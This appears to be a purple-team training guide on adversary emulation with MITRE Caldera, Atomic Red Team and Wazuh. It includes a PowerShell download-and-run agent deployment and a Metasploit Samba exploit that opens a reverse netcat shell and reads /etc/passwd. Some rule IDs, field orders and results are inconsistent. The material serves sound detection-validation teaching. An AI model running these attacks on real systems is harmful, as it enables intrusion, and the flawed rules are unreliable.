Adversary Emulation Techniques

Date: 31-03-2026

Prepared by: Yogesh Kumar Agrahari

Table of Contents

1. Overview & Learning Objectives
2. Adversary Emulation Explained
3. MITRE Caldera Setup & Configuration
4. Emulation Frameworks & Comparison
5. APT28 & APT29 TTP Profiles
6. Lab: Simulate T1566 Spearphishing
7. Lab: Simulate T1210 Remote Services
8. Wazuh Detection Configuration
9. Red-Blue Team Collaboration
10. Emulation Report Template

1. Overview & Learning Objectives:

Adversary emulation involves accurately reproducing the tactics, techniques, and procedures (TTPs) of real threat actors to test and validate SOC detection capabilities. Unlike penetration testing, emulation focuses on detection validation rather than finding vulnerabilities.

- Deploy and configure MITRE Caldera for automated adversary simulation
- Emulate APT28 and APT29 TTPs in a controlled lab environment
- Configure Wazuh detection rules to catch simulated attacks
- Identify detection gaps and translate them into new SIEM rules
- Document emulation results and generate improvement recommendations

Concept	Penetration Testing	Adversary Emulation
Goal	Find vulnerabilities	Test SOC detection & response
Approach	Opportunistic attack paths	Emulate specific APT TTPs
Framework	PTES, OWASP	MITRE ATT&CK;, Caldera
Output	Vulnerability report	Detection gap analysis
Audience	IT/Dev teams	SOC analysts, detection engineers

TTP ID	Name	Tactic	Emulation Method
T1566.001	Spearphishing Attachment	Initial Access	Caldera: send-phishing-email ability
T1210	Exploitation of Remote Services	Lateral Movement	Metasploit: samba/usermap_script
T1059.001	PowerShell	Execution	Caldera: powershell-execution ability
T1078	Valid Accounts	Persistence	Caldera: steal-token ability
T1041	Exfiltration Over C2 Channel	Exfiltration	Caldera: exfil-http ability

2. Adversary Emulation Explained:

Adversary emulation follows a structured process: Intelligence → Planning → Execution → Detection Validation → Reporting. Each phase must be carefully controlled to avoid accidental impact on production systems.

Type	Description	Primary Goal
Adversary Emulation	Reproduces full TTP chains of specific threat actors (e.g., APT29)	Detection validation, SOC readiness
Red Team Assessment	Broad offensive engagement — finds any vulnerabilities	Identify weaknesses
Purple Team Exercise	Red + Blue collaborate — real-time feedback loop	Improve detection & response
Penetration Test	Time-boxed vulnerability exploitation for audit purposes	Compliance, vulnerability findings

3. MITRE Caldera Setup & Configuration:

Setting	Value	Notes
Operation Name	Hunt-T1566-2026-0330	Use consistent naming convention
Adversary Profile	APT29 (COZY BEAR)	Pre-built in Caldera
Agent Group	target-windows-group	The Windows VM agent
Planner	Batch	Executes all abilities in sequence
Visibility	Stealth (50)	Low noise for detection testing
Obfuscate	base64	Matches real-world APT behaviour

```
# Step 1: Update system and install dependencies
sudo apt update && sudo apt install -y python3 python3-pip git curl

# Step 2: Clone Caldera repository
git clone https://github.com/mitre/caldera.git --recursive
cd caldera

# Step 3: Install Python requirements
pip3 install -r requirements.txt

# Step 4: Start Caldera server
python3 server.py --insecure --build
# Server starts on: http://localhost:8888
```

```
# Default credentials: admin / admin (change immediately!)

# Step 5: Deploy Caldera agent on Windows target VM
# On Windows endpoint — run PowerShell as Administrator:
# (Get this command from Caldera UI → Agents → Deploy Agent → Windows)
$server="http://<CALDERA_IP>:8888"
$url="$server/file/download"
$wc=New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go-windows")
$data=$wc.DownloadData($url)
$name=$wc.ResponseHeaders["Content-Disposition"].Split("=")[1]
get-process | ? {$_.modules.filename -like "C:\Users\Public\$name"} |
stop-process -f;
rm -f "C:\Users\Public\$name";
iex;Start-Process -FilePath C:\Users\Public\$name -ArgumentList "-server $server-group red"
import requests, json, time

CALDERA_URL = "http://localhost:8888"
HEADERS = {"KEY": "ADMIN123", "Content-Type": "application/json"}

# Step 1: List available adversaries (threat profiles)
r = requests.get(f"{CALDERA_URL}/api/v2/adversaries", headers=HEADERS)
adversaries = r.json()
print("Available adversaries:")
for adv in adversaries[:5]:
print(f" {adv['adversary_id']}: {adv['name']}")

# Step 2: List available agents (deployed endpoints)
r = requests.get(f"{CALDERA_URL}/api/v2/agents", headers=HEADERS)
agents = r.json()
print("\nDeployed agents:")
for agent in agents:
```

```
print(f" {agent['paw']}: {agent['host']} ({agent['platform']})")

# Step 3: Create an operation using APT29 profile
operation = {
"name": "Hunt Lab - APT29 Emulation",
"adversary": {"adversary_id": "1a98b8ea-20e3-41cc-a386-c6a1db734f9b"}, # APT29 ID
"planner": {"id": "aaa7c857-37a0-4c4a-85f7-4e9f7f30e31a"}, # atomic planner
"source": {"id": "ed32b9c3-9593-4c33-b0db-e2007315096b"},
"group": "red", # agent group deployed above
"auto_close": True,
"state": "running"
}
r = requests.post(f"{CALDERA_URL}/api/v2/operations", json=operation,
headers=HEADERS)
op_id = r.json()['id']
print(f"\nOperation started: {op_id}")

# Step 4: Poll for results
time.sleep(30)
r = requests.get(f"{CALDERA_URL}/api/v2/operations/{op_id}", headers=HEADERS)
result = r.json()
print(f"Status: {result['state']}")
print(f"Steps executed: {len(result.get('chain', []))}")
```

Timestamp	TTP	Ability Used	Agent	Detection Status	Wazuh Rule	Notes
2026-03-30 17:00:00	T1566 .00 1	phishing-attachment	win-agent-01	DETECTED	100300	Powershell spawned from WINWORD.EXE
2026-03-30 17:04:33	T1059 .00 1	ps-execution-b64	win-agent-01	DETECTED	100201	Base64 encoded PS command
2026-03-30 17:08:17	T1078	steal-token	win-agent-01	NOT DETECTE D	—	TOKEN THEFT – DETECTION GAP FOUND
2026-03-30 17:12:44	T1041	exfil-http	win-agent-01	DETECTED	100400	HTTP POST to 10.0.2.20: 8888 (C2)
2026-03-30 17:18:02	T1210	samba-exploit	linux-agent-01	DETECTED	100500	Metasploit Samba module triggered

TTP Not Detected	Root Cause	Recommended Fix	Priority
T1078 – Token Theft	Wazuh rule lacks Windows token audit event coverage	Enable Audit Token Right Adjusted (Event 4703); add Wazuh rule	P1
T1003 – Credential Dump (future)	LSASS memory access not monitored	Enable Sysmon EventID 10; add Wazuh rule for LSASS access	P1

4. Emulation Frameworks & Comparison:

Framework	Description	Best Use Case
MITRE Caldera	Automated TTP simulation via MITRE ATT&CK.; Agents deployed on endpoints.	Best for SOC detection validation
Atomic Red Team	Library of atomic tests — single TTPs, easy to run manually.	Unit testing of individual detections
SCYTHE	Enterprise adversary emulation platform. Threat content marketplace.	Commercial, enterprise use
Cobalt Strike	Commercial C2 framework used by red teams for realistic simulation.	Advanced red team operations

5. APT28 & APT29 TTP Profiles:

APT Group	Origin	Key TTPs	MITRE Reference
APT28 (Fancy Bear)	Russia (GRU)	T1566, T1078, T1059.001, T1003.001	attack.mitre.org/groups/G0007
APT29 (Cozy Bear)	Russia (SVR)	T1078, T1566.002, T1547, T1210	attack.mitre.org/groups/G0016
Lazarus Group	North Korea	T1566, T1059, T1486 (Ransomware)	attack.mitre.org/groups/G0032
APT41	China	T1190, T1133, T1059.003, T1078	attack.mitre.org/groups/G0096

6. Lab: Simulate T1566 Spearphishing:

Simulate a spearphishing attack using Caldera's built-in T1566 ability and verify Wazuh detection.

```
# Install Invoke-AtomicRedTeam module (run as Admin in PowerShell)
Install-Module -Name invoke-atomicredteam, powershell-yaml -Scope CurrentUser -Force

# Import module
Import-Module invoke-atomicredteam

# List all T1566 atomic tests available
Invoke-AtomicTest T1566 -ShowDetailsBrief

# Run T1566.001 — Spearphishing Attachment simulation
# This creates a mock malicious attachment and simulates user execution
Invoke-AtomicTest T1566.001 -TestNumbers 1

# Run T1566.002 — Spearphishing via malicious link
Invoke-AtomicTest T1566.002 -TestNumbers 1

# Cleanup after test
Invoke-AtomicTest T1566 -Cleanup
# Check Wazuh alerts for T1566 activity
tail -f /var/ossec/logs/alerts/alerts.json | python3 -c "
```

```
import sys, json
for line in sys.stdin:
try:
alert = json.loads(line)
desc = alert.get('rule', {}).get('description', '')
level = alert.get('rule', {}).get('level', 0)
if level >= 10:
print(f'[ALERT L{level}] {desc}')
print(f' Agent: {alert["agent"]["name"]}')
print(f' Time: {alert["timestamp"]}')
except: pass
"

# Also check via Kibana:
# Navigate to: Kibana → Security → Alerts → Filter by rule.level >= 10
```

Document Emulation Results:

7. Lab: Simulate T1210 Remote Services:

```
# On Kali Linux — Launch Metasploit
msfconsole -q
# Simulate Samba exploitation against Metasploitable2 target
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.200 # Target: Metasploitable2 VM IP
set RPORT 139
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.1.100 # Your Kali IP
set LPORT 4444
exploit
# After gaining shell — document access achieved:
id
whoami
```

```
uname -a
cat /etc/passwd | head -10
# Exit and clean up
Exit
```

8. Wazuh Detection Configuration:

```
<!-- Custom rules for adversary emulation detection -->
<group name="adversary_emulation,attack,">

<!-- T1566 - Phishing: Detect suspicious email attachment execution -->
<rule id="100500" level="12">
<if_group>sysmon</if_group>
<field name="win.eventdata.image"
type="pcre2">(?i)(winword|excel|powerpnt)\.exe</field>
<field name="win.eventdata.parentImage"
type="pcre2">(?i)(powershell|cmd|wscript|cscript)\.exe</field>
<description>T1566: Office application spawned scripting engine (phishing
indicator)</description>
<mitre>
<id>T1566.001</id>
</mitre>
</rule>

<!-- T1078 - Valid Accounts: Off-hours privilege assignment -->
<rule id="100501" level="10">
<if_sid>18107</if_sid>
<time>6 pm - 8 am</time>
<description>T1078: Special privilege assigned outside business hours</description>
<mitre>
<id>T1078</id>
</mitre>
</rule>

<!-- T1210 - Remote Services: Samba exploitation attempt -->
```

```
<rule id="100502" level="15">
<if_group>syslog</if_group>
<match>usermap_script|samba.*exploit|smbd.*error</match>
<description>T1210: Possible Samba exploitation attempt detected</description>
<mitre>
<id>T1210</id>
</mitre>
</rule>

</group>
# Validate rules syntax first
/var/ossec/bin/wazuh-logtest -t

# Restart Wazuh manager
sudo systemctl restart wazuh-manager

# Verify rules loaded
sudo /var/ossec/bin/wazuh-ruleset -l | grep "100500\|100501\|100502"
```

9. Red-Blue Team Collaboration:

Purple Team exercises require structured collaboration between offensive (Red) and defensive (Blue) teams:

Phase	Red Team Action	Blue Team Response
Pre-Engagement	Share TTPs to be emulated (deconfliction)	Prepare detection hypothesis, enable verbose logging
Execution	Run Caldera operation, note timestamps	Monitor Wazuh/Elastic in real-time, document detections
Post-Execution	Provide full operation log with timestamps	Map detections to operation log, identify gaps
Remediation	Provide offensive perspective on gaps	Write new detection rules, update playbooks
Validation	Re-run failed TTPs	Confirm new rules trigger correctly

Phase	Activity
Pre-Exercise	Red defines TTPs to emulate. Blue sets up monitoring. Both agree on scope and rules of engagement.
Phase	Activity
During Exercise	Red executes TTPs one by one. Blue monitors in real-time. Purple lead tracks detection status.
Post-Exercise	Both teams review: What was detected? What was missed? What rules need to be created/improved?
Improvement Loop	Blue creates new detection rules based on gaps. Red re-tests. Repeat until coverage is satisfactory.

The most effective adversary emulation programs include structured collaboration between the Red Team

(emulators) and Blue Team (defenders):

RED-BLUE COLLABORATION WORKFLOW — cyart-soc-team

BEFORE EMULATION:

Red Team -> Share TTP scope with Blue Team (NOT attack timing)

Blue Team -> Enable enhanced logging, confirm detection coverage

Both -> Agree on Rules of Engagement (RoE) and safe IPs

DURING EMULATION:

Red Team -> Execute TTPs via Caldera (source: 10.0.2.20)

Blue Team -> Monitor Wazuh/Elastic dashboards in real-time

Both -> Log all events with millisecond timestamps

AFTER EMULATION (Purple Team Session):

Red Team -> Reveal full TTP chain with exact timestamps

Blue Team -> Cross-reference with detection log — identify gaps

Both -> Create new detection rules for missed TTPs

Update playbooks for detected TTPs

Document in shared GitHub repository

DELIVERABLES:

- Detection Coverage Matrix (by MITRE ATT&CK; technique)
- New Wazuh/Elastic rules for missed TTPs
- Updated SOAR playbooks

- Executive briefing on SOC detection effectiveness

10. Emulation Report Template:

ADVERSARY EMULATION REPORT

==========

Date: 2025-08-18

Analyst: [Your Name]

Adversary: APT29 (Cozy Bear) TTP Profile

Tools: MITRE Caldera, Atomic Red Team, Wazuh

EMULATION SUMMARY:- T1566.001 (Spearphishing Attachment): DETECTED — Wazuh rule 100045- T1566.002 (Spearphishing Link): NOT DETECTED — Detection gap identified- T1078 (Valid Accounts): DETECTED — Wazuh rule 18107- T1210 (Remote Services): DETECTED — After custom rule 100502 created

DETECTION GAPS:- No URL sandbox analysis — T1566.002 bypassed detection- No lateral movement detection rule for T1210 post-exploitation

RECOMMENDATIONS:

1. Implement URL detonation sandbox (e.g., Any.Run integration)
2. Create Wazuh rule for post-exploitation enumeration commands
3. Enable AMSI logging on Windows endpoints for script detection

STATUS: 3/4 TTPs detected (75% coverage). Target: 95%+